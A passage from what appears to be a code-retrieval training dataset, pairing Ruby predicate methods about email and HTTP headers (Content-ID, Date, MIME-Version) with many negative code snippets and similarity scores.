"def notification?\n @json['id'].nil?\n end",
"def message_contains_html?\n html_part.present?\n end",
"def table_has_header?(columns)\n columns.any? { |column| !column[:title].nil? }\n end",
"def has_mime_version?\n header.has_mime_version?\n end",
"def header\n @message.header\n end",
"def has_headings?\n not headings.empty?\n end",
"def empty?\n return false if (@identifiers.length > 0) or @reference[\"format\"] or @reference[\"location\"] or @metadata.length > 0 or @format or @private_data\n true\n end",
"def quote_header?(line)\n regex = ExtendedEmailReplyParser::Parsers::Base.quote_header_regexes.join(\"|\")\n line.reverse =~ /#{regex}/\n end",
"def empty?\n id.nil?\n end",
"def header\n if defined?(@header) && (@header == false)\n false\n elsif defined?(@header) && @header\n @header\n else\n first\n end\n end",
"def need_to_answer?(message)\n return true if message.include?(id)\n index = message.index('#').to_i\n index > 2 && message[index - 1] != ' ' && message[index + 1] != ' '\n end",
"def isMyMessage(message)\r\n return message[:type] == :Sent\r\n end",
"def display_header?\n [email protected]_title?\n end",
"def contains_valid_transaction_id?()\n\t\treturn (!self.auth_transaction_id.blank? && self.auth_transaction_id != 0)\n\tend",
"def loopheader?\n @is_loopheader\n end",
"def raw_message?\n !!self.raw_table\n end",
"def data_set_exists?\n Pathname.new(header_file_full_path).exist?\n end"
] |
[
"0.89300835",
"0.7057632",
"0.7057632",
"0.6885972",
"0.67816186",
"0.67508394",
"0.6728832",
"0.67251354",
"0.6663678",
"0.66589653",
"0.6536141",
"0.64362377",
"0.64198345",
"0.64185977",
"0.64021087",
"0.63852394",
"0.6318951",
"0.6318951",
"0.6255903",
"0.62061983",
"0.6139256",
"0.61184937",
"0.61148083",
"0.6083676",
"0.6082378",
"0.6052371",
"0.59887236",
"0.59877384",
"0.5966652",
"0.5962472",
"0.5945388",
"0.5945388",
"0.5928693",
"0.5927849",
"0.5909321",
"0.5890008",
"0.5861294",
"0.58502215",
"0.58340776",
"0.58331007",
"0.5827101",
"0.5812286",
"0.57816213",
"0.5768673",
"0.575728",
"0.57463396",
"0.5741141",
"0.57394004",
"0.57371026",
"0.57129663",
"0.57029814",
"0.5697574",
"0.5697574",
"0.5695153",
"0.56916064",
"0.56748813",
"0.5626875",
"0.560939",
"0.56077117",
"0.5570305",
"0.55363256",
"0.5517426",
"0.551086",
"0.5508088",
"0.5488015",
"0.5484959",
"0.5480279",
"0.54709613",
"0.54689527",
"0.54679155",
"0.5466818",
"0.546663",
"0.54644567",
"0.5461696",
"0.5461502",
"0.5439674",
"0.54288435",
"0.54268223",
"0.5412234",
"0.5405207",
"0.53860956",
"0.5385644",
"0.5372072",
"0.5372021",
"0.5364546",
"0.5363428",
"0.53626573",
"0.5362548",
"0.53529495",
"0.53455484",
"0.53429323",
"0.5326133",
"0.53223896",
"0.5313007",
"0.5299903",
"0.5294044",
"0.52876526",
"0.5273318",
"0.5269412",
"0.52658117"
] |
0.7949452
|
1
|
Returns true if the header has a ContentID defined (empty or not)
|
def has_content_id?
!fields.select { |f| f.responsible_for?('Content-ID') }.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_message_id?\n header.has_message_id?\n end",
"def header?\n @properties.key?(:header) && !@properties[:header].empty?\n end",
"def has_header?\n @has_header\n end",
"def header?(key)\n\t\t\[email protected]{|h| h[:id] == key}[0] rescue nil\n\t\tend",
"def header?(key)\n return true if @args[:headers].key?(key) && @args[:headers][key].first.to_s.length > 0\n false\n end",
"def header?\n @header\n end",
"def header?\n @header\n end",
"def has_content?\n !content.nil?\n end",
"def header?(key)\n return true if headers.key?(key) && !headers[key].first.to_s.empty?\n\n false\n end",
"def headers?\n @headers.empty?\n end",
"def header?\r\n\t\ttrue\r\n\tend",
"def header?\r\n\t\ttrue\r\n\tend",
"def header?(header)\n data.key?(header)\n end",
"def header?(key)\n key.is_a?(Numeric) || @headers.nil? || @headers.include?(key)\n end",
"def header_contains\n return @header_contains\n end",
"def open?\n return @header_data != nil\n end",
"def has_item_content?(content)\n # TODO Stubbed - Requires definition and implementation\n end",
"def has_item_content?(content)\n # TODO Stubbed - Requires definition and implementation\n end",
"def content_for? key\n (defined? @content) && (@content.key? key)\n end",
"def is_header()\n\t\tend",
"def is_header?\n return false unless contains_data?\n return false if spent_finance.present?\n return false if planned_finance.present?\n return false unless only_code_and_name_present?\n true\n end",
"def empty?\n no_headers.empty? rescue true\n end",
"def exportable_content?(root_content_id, content_id)\n begin\n branch = find_security_parents(Polopoly::Util.find_policy(@cm_server, content_id))\n content.major == 1 || branch.include?(Polopoly::Util.find_policy(@cm_server, root_content_id).content_id.content_id.content_id_string)\n rescue\n #return true on error to get the referred content.\n true\n end\n end",
"def valid_header?(header)\n return false if header.empty?\n length = -1\n header.each do |row|\n return false if row.empty?\n length = row.size if length == -1\n return false if row.size != length\n end\n true\n end",
"def have_transmission_header?\n @have_transmission_header\n end",
"def empty?\n return false if (@identifiers.length > 0) or @reference[\"format\"] or @reference[\"location\"] or @metadata.length > 0 or @format or @private_data\n true\n end",
"def element_header?\n\t\t\n\tend",
"def content?\n !content.nil? && !content.empty?\n end",
"def exists?(header = {})\n header = DEFAULT_REQUEST_HEADER.merge(header)\n return super(header) unless @data['properties']\n find_by_name_in_properties(header).size == 1\n end",
"def is_header?(); @type == GRT_HEADER; end",
"def data_set_exists?\n Pathname.new(header_file_full_path).exist?\n end",
"def have_transmission_header?\n self.class.have_transmission_header?\n end",
"def has_content?\n ( not self.title.nil? and not self.title.length == 0 ) or \n (not self.description.nil? and not self.description.length == 0 ) or \n (not self.teaser.nil? and not self.teaser.length == 0 )\n end",
"def scribdable?\n ContentTypes.include?(get_content_type) && ipaper_id.blank?\n end",
"def deleted?\n return @header.deleted?\n end",
"def has_content?(name)\n @has_content ||= {}\n @has_content.key?(name.to_s)\n end",
"def headercheck(raw)\n decode(raw)[0...Payload::HEADER.length] == Payload::HEADER\n end",
"def is_text_header?(header)\n not header.include?('/Subtype') and not header.match(/\\/Length[1-3]+/)\n end",
"def empty?\n content.empty?\n end",
"def header_row?\n @use_headers and @headers.nil?\n end",
"def calculate_content_length?\n headers.has_key?(Const::CONTENT_TYPE) && !headers.has_key?(Const::CONTENT_LENGTH)\n end",
"def is_header?(fields)\n # parsing should ignore...\n # lines that are completely blank\n # lines that appear to be entirely delimiters\n\n return true if fields.empty?\n\n line = fields.join\n\n # these are probably horizontal markers between any header text and the actual data\n return true if line =~ /^[-=*_\\s]*$/\n\n return true unless line =~ /\\d/\n\n return true if line =~ /^\\s*[A-Za-z ]+$/\n\n # this line looks significant, keep it in.\n false\n end",
"def has_identifier?\n ([email protected]? and @issn != '') or ([email protected]? and @eissn != '') or ([email protected]? and @isbn != '') or \n ([email protected]? and @eisbn != '') or ([email protected]? and @oclc != '') or ([email protected]? and @lccn != '') or \n ([email protected]? and @doi != '') or (!@svc_specific_id_1.nil? and @svc_specific_id_1 != '') or \n (!@svc_specific_id_2.nil? and @svc_specific_id_2 != '') or (!@svc_specific_id_3.nil? and @svc_specific_id_3 != '')\n end",
"def display_header?\n [email protected]_title?\n end",
"def empty?\n @content.empty?\n end",
"def parse_atx_header\n return false unless after_block_boundary?\n text, id = parse_header_contents\n text.sub!(/(?<!\\\\)#+\\z/, '') && text.rstrip!\n return false if text.empty?\n add_header(@src[\"level\"].length, text, id)\n true\n end",
"def has_message_id?\n !fields.select { |f| f.responsible_for?('Message-ID') }.empty?\n end",
"def has_headings?\n not headings.empty?\n end",
"def header_only?\n\t\tcoins.empty? && parent.nil?\n\tend",
"def content_empty?\n return false if behaves_like_io?(@content) && @content.read.empty?\n return true if @content.class == String && @content.empty?\n\n false\n end",
"def content?(name, content)\n page = Islay::Pages.definitions[name]\n page and page.contents[content].present?\n end",
"def content_inclusionary?\n if content_projection.empty?\n return value_inclusionary?(id_projection_value)\n end\n\n value_inclusionary?(content_projection.values.first)\n end",
"def has_metadata?(path, ctype=DEFAULT_CTYPE)\n (! metdata(path, content_tree).empty?)\n end",
"def headerable?\n properties.include?(\"headerable\")\n end",
"def inside_header?\n @anchor.tag_name == 'link'\n end",
"def meta_empty?(name)\n tag = css(\"meta[name='#{name}']\")\n return true if tag.nil? or tag.empty?\n return true if tag.first['content'].empty?\n false\n end",
"def node_header?(node)\n %w[h1 h2 h3 h4 h5 h6].include?(node.name.downcase)\n end",
"def parse_atx_header_gfm_quirk\n text, id = parse_header_contents\n text.sub!(/[\\t ]#+\\z/, '') && text.rstrip!\n return false if text.empty?\n\n add_header(@src[\"level\"].length, text, id)\n true\n end",
"def id_link?\n @url[0] == '#'\n end",
"def has_source_header?\n false\n end",
"def header\n if defined?(@header) && (@header == false)\n false\n elsif defined?(@header) && @header\n @header\n else\n first\n end\n end",
"def has_outgoing_headers?\n !!(raw_headers =~ /^X\\-Postal\\-MsgID\\:/i)\n end",
"def has_outgoing_headers?\n !!(raw_headers =~ /^X\\-Postal\\-MsgID\\:/i)\n end",
"def table_header?\n @assigned_paragraph_type == :table_header\n end",
"def empty?\n id.nil?\n end",
"def blank?\n if content.respond_to?(:empty?)\n content.empty?\n else\n content.nil?\n end\n end",
"def has?(item)\r\n ! @contents[item].nil?\r\n end",
"def empty?\n to_h.tap { |changes| changes.delete(:identifier) }.empty?\n end",
"def content_for_with_empty_check?(name)\n if @view_flow.get(name) == DryViews::EMPTY_CONTENT\n #add a check for empty, and return :empty, so we can switch on it for empty content\n return :empty\n elsif content_for_without_empty_check?(name)\n return true\n else\n return false\n end\n end",
"def empty?\n @content[pn(:Kids)].empty?\n end",
"def check_headers(v)\n return true unless v\n return true if v.size == 0\n if HEADER_REGEXP !~ v\n raise InvalidComponentError,\n \"bad component(expected opaque component): #{v}\"\n end\n\n true\n end",
"def empty?\n content.stream.filtered_stream == (@tare_content_stream ||= InitialPageContent) && document.page_number > 0\n end",
"def valid?\n @header && ['200','301','302'].include?(@header.code)\n end",
"def header_exists?\r\n selenium.wait_for_element_to_present(\"css=#header\")\r\n end",
"def content_for?( obj )\n @_content_for.key?(obj)\n end",
"def doctype?\n @contents[0] == :start_doctype\n end",
"def has_id_element?\n each_node do |n|\n next unless n.kind_of?(Element)\n next unless n.hid\n return true\n end\n false\n end",
"def contains?(data)\n if (@header)\n current = @header\n while (current.next)\n if (current.data == data) \n return true\n else\n current = current.next\n end\n end\n end\n return false\n end",
"def table_has_header?(columns)\n columns.any? { |column| !column[:title].nil? }\n end",
"def has_content!(name) # :nodoc:\n @has_content ||= {}\n @has_content[name.to_s] = true\n end",
"def parse_setext_header\n return false unless after_block_boundary?\n text, id = parse_header_contents\n return false if text.empty?\n add_header(@src[\"level\"] == '-' ? 2 : 1, text, id)\n true\n end",
"def check_if_page_has_content_unique_number(content)\n\n page.should have_content(content + read_file.to_s)\n\n end",
"def empty?\n @by_id.empty?\n end",
"def content_loaded?\n @content.to_bool\n end",
"def content_for?(symbol)\n !content_blocks[symbol].empty?\n end",
"def mutate_h1? doc\n h1s = doc.css('h1') || []\n if h1s.size == 0\n false\n else\n stuff = doc.css('body>*')\n if stuff.size == 1\n false\n else\n true\n end\n end\n end",
"def has_identifier? \n (([email protected]? and @issn != '') or ([email protected]? and @eissn != '') or \n ([email protected]? and @isbn != '') or ([email protected]? and @eisbn != '') or \n ([email protected]? and @oclc != '') or ([email protected]? and @lccn != '') or ([email protected]? and @doi != '') or \n ([email protected]? and @pmid != '') or ([email protected]? and @coden != '') or ([email protected]? and @sici != '') or\n ([email protected]? and @bici != '') or (!@document_id.nil? and @document_id != '') or\n (!@dissertation_number.nil? and @dissertation_number != '') or ([email protected]? and @bibcode != '') or\n ([email protected]? and @eric != '') or ([email protected]? and @oai != '') or \n ([email protected]? and @nbn != '') or ([email protected]? and @hdl != '') or ([email protected]? and @naxos != ''))\n end",
"def mutate_h1?(doc)\n h1s = doc.css('h1') || []\n if h1s.empty?\n false\n else\n stuff = doc.css('body>*')\n if stuff.size == 1\n false\n else\n true\n end\n end\n end",
"def has_date?\n header.has_date?\n end",
"def blank?\n !!processed_content.match(/\\A(^\\s+$)*\\z/)\n end",
"def has_metadata?(data)\n return data.start_with?(\"\\1\\n\")\n end",
"def is_http_header? line\n line.split(':').length == 2\n end",
"def has_mime_version?\n header.has_mime_version?\n end",
"def node_contains_content?(node)\n node.name == '#cdata-section'\n end",
"def is_content_for? (intended_use)\n content_intended_use == intended_use\n end",
"def manifest_available?\n VALID_IIIF_CONTENT_TYPES.include?(first('content_metadata_type_ssm').to_s)\n end",
"def is_id?\n get_classes.any? { |e| e =~ /\\Aid_/ }\n end",
"def single?\r\n @headers[\"results\"].nil?\r\n end",
"def content_for?(part_slug)\n content_for(part_slug).present?\n end",
"def contains_journal_entry?\n note_contents.match(heading_pattern) != nil\n end"
] |
[
"0.72349703",
"0.70114005",
"0.692935",
"0.690204",
"0.68856114",
"0.68556654",
"0.68556654",
"0.6801491",
"0.67694324",
"0.6692835",
"0.6554282",
"0.6554282",
"0.6509939",
"0.65007293",
"0.64706784",
"0.6436599",
"0.6436503",
"0.6432787",
"0.6430356",
"0.6417332",
"0.6401113",
"0.63864154",
"0.63296926",
"0.6324156",
"0.63039",
"0.6303322",
"0.62794685",
"0.6229243",
"0.6222636",
"0.6222238",
"0.6183394",
"0.6142505",
"0.6140886",
"0.613887",
"0.61333156",
"0.6133167",
"0.61261946",
"0.6123267",
"0.6115378",
"0.60922664",
"0.6077518",
"0.6074989",
"0.6062306",
"0.6037522",
"0.60352343",
"0.6029312",
"0.6023615",
"0.6010004",
"0.6009677",
"0.6001949",
"0.59912395",
"0.59912264",
"0.5985235",
"0.5968671",
"0.5962967",
"0.5945638",
"0.5938614",
"0.5924471",
"0.59151536",
"0.5911363",
"0.58844835",
"0.58765477",
"0.58765477",
"0.58722395",
"0.5870071",
"0.586137",
"0.58590454",
"0.585435",
"0.5851889",
"0.58480066",
"0.5824488",
"0.5818957",
"0.58186096",
"0.5817408",
"0.5800273",
"0.5780363",
"0.5780034",
"0.57773376",
"0.5758094",
"0.5752204",
"0.57368",
"0.5734587",
"0.5732951",
"0.5714807",
"0.57100916",
"0.56926084",
"0.56922567",
"0.5688764",
"0.56832415",
"0.5680169",
"0.56782436",
"0.5657883",
"0.56562895",
"0.5651372",
"0.5638941",
"0.56368834",
"0.5628434",
"0.56264687",
"0.5591208",
"0.5588275"
] |
0.798544
|
0
|
Returns true if the header has a Date defined (empty or not)
|
def has_date?
!fields.select { |f| f.responsible_for?('Date') }.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_date?\n header.has_date?\n end",
"def headers?\n !self.data.strip.each.first.split(column_seperator).any? { |column| Date.parse(column) rescue false }\n end",
"def has_date?\n\t\t@date == ''\n\tend",
"def has_date?\n @date == ''\n end",
"def hasDate?\n if self.getDateStr == \"\" then out = false else out = true end \n return out\n end",
"def has_date?\n format = self.format.gsub(/(\"[^\"]*\"|#|\\[[\\w.]+\\])/,'')\n \n !(format =~ /[ymdwhq]/).nil?\n end",
"def date?\n type == \"DATE\"\n end",
"def is_header?\n return false unless contains_data?\n return false if spent_finance.present?\n return false if planned_finance.present?\n return false unless only_code_and_name_present?\n true\n end",
"def includes?(date)\n false\n end",
"def has_header?\n @has_header\n end",
"def date?\n false\n end",
"def is_date?\r\n\t\ttemp = self.gsub(/[-.\\/]/, '')\r\n\t\t['%m%d%Y','%m%d%y','%M%D%Y','%M%D%y','%d%m%y','%D%M%y'].each do |f|\r\n\t\t\tbegin\r\n\r\n\t\t\t\treturn false if Date.strptime(temp, f)\r\n\t\t\t\trescue\r\n\t\t\t\t#do nothing\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\treturn true\r\n\tend",
"def header?\n @properties.key?(:header) && !@properties[:header].empty?\n end",
"def can_be_date?\n raise NoMethodError, \"This method is no longer supported.\"\n end",
"def is_header()\n\t\tend",
"def has_date?(date)\n\t\[email protected]_key?(date)\n\tend",
"def valid_header?(header)\n return false if header.empty?\n length = -1\n header.each do |row|\n return false if row.empty?\n length = row.size if length == -1\n return false if row.size != length\n end\n true\n end",
"def header?\n @header\n end",
"def header?\n @header\n end",
"def validate_header!\n [:date, :from].each do |field|\n raise \"No '#{field}' header field provided\" unless self.send(field)\n end\n end",
"def header?(key)\n return true if @args[:headers].key?(key) && @args[:headers][key].first.to_s.length > 0\n false\n end",
"def header?\r\n\t\ttrue\r\n\tend",
"def header?\r\n\t\ttrue\r\n\tend",
"def is_header?(fields)\n # parsing should ignore...\n # lines that are completely blank\n # lines that appear to be entirely delimiters\n\n return true if fields.empty?\n\n line = fields.join\n\n # these are probably horizontal markers between any header text and the actual data\n return true if line =~ /^[-=*_\\s]*$/\n\n return true unless line =~ /\\d/\n\n return true if line =~ /^\\s*[A-Za-z ]+$/\n\n # this line looks significant, keep it in.\n false\n end",
"def blank_date_parameter?\n (1..3).any? { |position| values[position].blank? }\n end",
"def date\n @resource.datacite_dates.where.not(date: [nil, '']).count > 0\n end",
"def node_has_metadata?(node)\n first_cell = node.at_css('thead tr th')\n return (first_cell && first_cell.text =~ /fecha/i)\n end",
"def header?(key)\n return true if headers.key?(key) && !headers[key].first.to_s.empty?\n\n false\n end",
"def date_parsed?(value)\n true if Date.parse(value)\n rescue ArgumentError\n false\n end",
"def valid_headers?(row)\n (required_csv_headers - row.keys).empty?\n end",
"def headers?\n @headers.empty?\n end",
"def date_present(date)\n return unless date.is_a?(Date) || date.is_a?(String)\n\n date.present? ? format_bgs_date(date) : nil\n end",
"def header_row?\n @use_headers and @headers.nil?\n end",
"def empty?\n no_headers.empty? rescue true\n end",
"def nil?\n @date.nil?\n end",
"def header?(header)\n data.key?(header)\n end",
"def date_or_time?(row, idx)\n row.format(idx).date_or_time? && Float(read_cell_content(row, idx)) > 0 rescue false\n end",
"def start_date?\r\n !event_start_date.blank?\r\n end",
"def start_date_is_valid?\n begin\n date = USDateParse(self.start_date)\n self.start_date = date.strftime(\"%m/%d/%y\")\n rescue\n return false\n end\n return true\n end",
"def has_chron?\n ! chron_columns.empty?\n end",
"def mdes_formatted_date\n event_date.blank? ? true : only_date || event_date.match(MDES_DATE_FORMAT) ? true : false\n end",
"def valid_date?(date)\n return (not DateTime.parse(date).nil?)\n rescue StandardError => e\n return false\n end",
"def open?\n return @header_data != nil\n end",
"def validateable?\n headers.key?('Last-Modified') || headers.key?('ETag')\n end",
"def unique_date?\n if config['BATCH']['date']\n date_index = config['BATCH']['date'][0]\n dates = csv.collect{|row| row[date_index]}.compact\n dates.uniq.length == 1\n else\n true\n end\n end",
"def datetime?\n !@arg[:datetimeValue].nil?\n end",
"def file_date_valid?(file)\n dt = file.split('_').first\n return false if dt.length != 12\n\n begin\n Time.parse(dt)\n rescue StandardError\n return false\n end\n\n true\n end",
"def explicit_date?(date)\n \t\t!(/(?<relative_date>#{EXISTING_PATTERNS[:explicit_dates]})/.match(date)).nil?\n \tend",
"def has_source_header?\n false\n end",
"def valid?\n return false if @headers.nil?\n return false if published_at.nil? or published_at > Time.now.getlocal\n return false if tags.nil? or tags.empty?\n true\n end",
"def header?(key)\n key.is_a?(Numeric) || @headers.nil? || @headers.include?(key)\n end",
"def legacy?\n date < Date.new(2014, 06, 06)\n end",
"def date_given?\n params.has_key?(:date_posted)\n end",
"def is_date\n @is_date\n end",
"def is_header?(); @type == GRT_HEADER; end",
"def contains?(date)\n year == date.year && month == date.month\n end",
"def parse_date\n # must access headers via @headers. Using h() would case a stack overflow\n # because parsing isn't yet complete, the page is still 'fresh'.\n if @headers[:date] \n @date = Chronic.parse(@headers[:date])\n elsif @title =~ /:/ && @date.nil?\n plausible_date = @title.split(':').first\n @date = Chronic.parse(plausible_date)\n unless @date\n date_regexp = /\\s*(\\d\\d?)-([a-zA-Z]{3})\\s*/\n match = date_regexp.match(plausible_date)\n @date = Chronic.parse(\"#{match[2]} #{match[1]}\") if match\n end\n if @date\n @title.sub!(/^[^:]*:/, '')\n end\n end\n end",
"def has_valid_format?(record)\n return (is_date?(record.start_at) and is_date?(record.end_at))\n end",
"def needs_attention?\n @div.css('date').size > 1 || @div.css('address name').size > 1\n end",
"def year_only?(date)\n\t\tdate.length == 4 && @@year_rgx.match(date)\n\tend",
"def is_not_ordered()\n if (placed_date)\n return false\n else\n return true\n end\n end",
"def valid_date?(date)\n begin\n Date.parse(date) && date.match?(/\\d{4}\\-\\d{2}\\-\\d{2}/)\n rescue\n false\n end\n end",
"def pickup_date_entered?\n pickup_date.present?\n end",
"def datetime?\n type == \"DATETIME\"\n end",
"def date_valid?(date)\n\tvalid_dates = Date.parse(DATA_START_DATE)..Date.today\n\tif valid_dates.cover?(date)\n\t\treturn true\n\telse\n\t\tputs \"\\n Date must be after #{DATA_START_DATE} and before today.\"\n\t\treturn false\n\tend\nend",
"def format_date\n begin\n self.dos = Date.strptime(self.unformatted_dos, \"%m/%d/%Y\").to_time(:utc) if !self.unformatted_dos.blank?\n rescue\n errors.add :base, \"Invalid Date(s)\"\n return false\n end\n end",
"def have_transmission_header?\n @have_transmission_header\n end",
"def add_date(date_val = '')\n header['date'] = date_val\n end",
"def date_in_file?(file, date)\n CSV.foreach(file, \"rb\") do |row|\n next unless row[0] == date\n return true\n end\n\n return false\nend",
"def accepts_outcome_date?\n accepted_outcome_types.member?('date')\n end",
"def looks_like_date?(value)\n value.is_a?(Date) || value.is_a?(Time)\n end",
"def valid_start_date?\n lb_return = true\n if service_type == 6215 && process_object == \"service_authorizations_details_first\"\n lb_return = DateService.valid_date?(self,service_start_date,\"Service start date\")\n end\n return lb_return\n end",
"def due_date_nameurl_not_empty?(dd)\n dd.deadline_name.present? || dd.description_url.present?\n end",
"def shipped?\n ! ship_date.blank?\n end",
"def valid_representation?(date, time)\n year, month, day = date\n hour = time.first\n\n date.nil? || !(!year.nil? && (month.nil? || day.nil?) && !hour.nil?)\n end",
"def header_contains\n return @header_contains\n end",
"def date_time?(date_time)\n true if DateTime.parse(date_time)\n rescue ArgumentError\n false\n end",
"def include? date\n @resolution = nil\t\n return true if check_anchor? && date == @anchor \n return mismatch(:day) unless day_of_week_matches?(date)\n return mismatch(:year) unless year_matches?(date) if @unit == :years\n return mismatch(:month) unless month_matches?(date) if [:months, :years].include?(@unit)\n return mismatch(:week) unless week_matches?(date) if [:years, :months, :weeks].include?(@unit)\n if [:years, :months, :weeks, :days].include?(@unit)\n return mismatch(:day) unless day_matches?(date)\n\t return mismatch(:time) unless time_matches?(date)\n end\n if @unit == :hours\n\t return mismatch(:hour) unless hour_matches?(date)\n\t return mismatch(:sub_hour) unless sub_hour_matches?(date)\n end\n if @unit == :minutes\n\t return mismatch(:minute) unless minute_matches?(date)\n\t return mismatch(:second) unless second_matches?(date)\n end\n @resolution = nil\t\n true\n end",
"def valid_date?(date)\n date =~ %r(\\A\\d{4}\\/\\d{1,2}\\/\\d{1,2}\\z)\n end",
"def empty?(row, col, sheet = default_sheet)\n value = cell(row, col, sheet)\n return true unless value\n return false if value.class == Date # a date is never empty\n return false if value.class == Float\n return false if celltype(row, col, sheet) == :time\n value.empty?\n end",
"def validate_date(date)\n begin\n Date.parse(date.to_s)\n true\n rescue ArgumentError\n false\n end\n end",
"def isDate stringDate\r\n if stringDate.blank?\r\n return false\r\n elsif stringDate.is_a?(String)\r\n if date = stringDate.to_date\r\n return date\r\n end\r\n end\r\n return false\r\n end",
"def is_date(*keys)\n keys.each do |key|\n matches(key, FORMATS[:date], \"#{key} must be a date in the form MM/DD/YYYY\")\n end\n end",
"def format_date\n begin\n if !self.unformatted_dob.blank?\n self.dob = Date.strptime(self.unformatted_dob, \"%m/%d/%Y\").to_time(:utc)\n end\n if !self.unformatted_signature.blank?\n self.signature_date = Date.strptime(self.unformatted_signature, \"%m/%d/%Y\").to_time(:utc)\n end\n rescue\n errors.add :base, \"Invalid Date\"\n return false\n end\n end",
"def is_http_header? line\n line.split(':').length == 2\n end",
"def header\n if defined?(@header) && (@header == false)\n false\n elsif defined?(@header) && @header\n @header\n else\n first\n end\n end",
"def element_header?\n\t\t\n\tend",
"def valid_date?(date:)\n date.respond_to?(:year) && date.year.digits.length == 4\n end",
"def time_define?\n !time.blank?\n end",
"def valid?\n @data && reader.valid_header? && metadata != :invalid\n end",
"def check_fixed_date_requirements(date)\n return true unless release_fixed_date? && release_date.present?\n date == release_date\n end",
"def date_match?(date, h)\n h[:months].include?(date.month) and h[:days].include?(date.day) and h[:wdays].include?(date.wday)\n end",
"def check_null_headers\n\t\t\t@headers_name.each do |p|\n\t\t\t\tunless @headers[p].present? && !@headers[p].nil? && !@headers[p].empty?\n\t\t\t\t\traise Exceptions::WrongHeaderError.new(p)\n\t\t\t\tend\n\t\t\tend\n\t\t\ttrue\n\t\tend",
"def table_header?\n @assigned_paragraph_type == :table_header\n end",
"def is_date_column?(name, table_name = nil)\n case get_type_for_column(table_name, name)\n when nil\n self.class.is_date_column?(name, table_name)\n when :date\n true\n else\n false\n end\n end",
"def is_a_2014_bank_holiday?(date)\n require 'open-uri'\n content = open(\"https://www.gov.uk/bank-holidays.json\").read\n formated_date = date.strftime(\"%Y-%m-%d\")\n content.include?(formated_date)\nend",
"def date_tag?(tag)\n validate_tag(tag) { |v| (v.size == 0) || (v.first.to_s =~ /^\\d\\d\\d\\d$/) }\n end",
"def table_has_header?(columns)\n columns.any? { |column| !column[:title].nil? }\n end",
"def file_contains_daily_report?\n if self.file_content.include?('. R A P O R T F I S K A L N Y D O B O W Y ')\n return true\n else\n errors.add(:file, :contains_no_daily_report)\n return false\n end\n end",
"def include? date_time\n return false if !(date_time.is_a?(String) or date_time.is_a?(DateTime))\n helper = DateTimeIndexHelper\n if date_time.is_a?(String)\n date_precision = helper.determine_date_precision_of date_time\n date_time = helper.date_time_from date_time, date_precision\n end\n\n result = @data.bsearch {|d| d[0] >= date_time }\n result[0] == date_time\n end"
] |
[
"0.9115333",
"0.7826471",
"0.759845",
"0.758585",
"0.7293847",
"0.70789534",
"0.6871366",
"0.68597937",
"0.6810649",
"0.6731669",
"0.67083377",
"0.6652558",
"0.6617845",
"0.65892714",
"0.65813625",
"0.6562908",
"0.6516034",
"0.64911366",
"0.64911366",
"0.6489458",
"0.6457744",
"0.64560264",
"0.64560264",
"0.6412124",
"0.64098215",
"0.640959",
"0.63723606",
"0.63551426",
"0.63360304",
"0.63107055",
"0.6310457",
"0.63016033",
"0.61837065",
"0.61823803",
"0.61717135",
"0.6154685",
"0.6151973",
"0.61500806",
"0.614326",
"0.6106559",
"0.6103618",
"0.60978526",
"0.60966516",
"0.60843813",
"0.60827583",
"0.6043449",
"0.6034682",
"0.60210615",
"0.60070825",
"0.5992581",
"0.59798664",
"0.59603614",
"0.59542894",
"0.5930201",
"0.5928406",
"0.5924797",
"0.59229004",
"0.59093004",
"0.5891132",
"0.58906925",
"0.58804625",
"0.5875889",
"0.58592564",
"0.58523667",
"0.58463573",
"0.5835619",
"0.5827207",
"0.5824264",
"0.5823442",
"0.5823224",
"0.58221465",
"0.58127767",
"0.5807624",
"0.58026236",
"0.5797411",
"0.5791468",
"0.57874066",
"0.57863194",
"0.5773928",
"0.5770495",
"0.5770312",
"0.57652575",
"0.57640165",
"0.57605255",
"0.5760431",
"0.57594967",
"0.57543606",
"0.5750525",
"0.5748536",
"0.5743401",
"0.57410264",
"0.57380474",
"0.5731127",
"0.5729927",
"0.5725401",
"0.572231",
"0.5717629",
"0.57175535",
"0.57031626",
"0.56959766"
] |
0.7370901
|
4
|
Returns true if the header has a MIME version defined (empty or not)
|
def has_mime_version?
!fields.select { |f| f.responsible_for?('Mime-Version') }.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_mime_version?\n header.has_mime_version?\n end",
"def is_header?(); @type == GRT_HEADER; end",
"def mime_version\n (@mime_version ||= \"1.0\")\n end",
"def is_http_header? line\n line.split(':').length == 2\n end",
"def is_text_header?(header)\n not header.include?('/Subtype') and not header.match(/\\/Length[1-3]+/)\n end",
"def is_header()\n\t\tend",
"def check_headers(headers)\n # check version from Accept headers; expect custom media type `spoonlibrary`\n accept = headers[:accept]\n accept&.include?(\"application/vnd.spoonlibrary.#{version}+json\")\n end",
"def calculate_content_length?\n headers.has_key?(Const::CONTENT_TYPE) && !headers.has_key?(Const::CONTENT_LENGTH)\n end",
"def spoofed?\n has_extension? and media_type_mismatch?\n end",
"def chunkable_version?(ver)\n case ver\n when \"HTTP/1.0\", nil, \"HTTP/0.9\"\n false\n else\n true\n end\n end",
"def header?(key)\n return true if @args[:headers].key?(key) && @args[:headers][key].first.to_s.length > 0\n false\n end",
"def have_transmission_header?\n @have_transmission_header\n end",
"def add_mime_version(ver_val = '')\n header['mime-version'] = ver_val\n end",
"def mime_version=( val )\n header[:mime_version] = val\n end",
"def parsed_content_type_header; end",
"def content_type_header?\n request.headers['Content-Type']&.include?('application/fhir+json')\n end",
"def have_transmission_header?\n self.class.have_transmission_header?\n end",
"def headers?\n @headers.empty?\n end",
"def check_headers(v)\n return true unless v\n return true if v.size == 0\n if HEADER_REGEXP !~ v\n raise InvalidComponentError,\n \"bad component(expected opaque component): #{v}\"\n end\n\n true\n end",
"def validateable?\n headers.key?('Last-Modified') || headers.key?('ETag')\n end",
"def has_header?\n @has_header\n end",
"def headercheck(raw)\n decode(raw)[0...Payload::HEADER.length] == Payload::HEADER\n end",
"def header?\n @properties.key?(:header) && !@properties[:header].empty?\n end",
"def matches?(request)\n @default || request.headers['Accept'].include?(\"application/vnd.medexprimereemr.v#{@version}\")\n end",
"def header?(key)\n return true if headers.key?(key) && !headers[key].first.to_s.empty?\n\n false\n end",
"def manifest_available?\n VALID_IIIF_CONTENT_TYPES.include?(first('content_metadata_type_ssm').to_s)\n end",
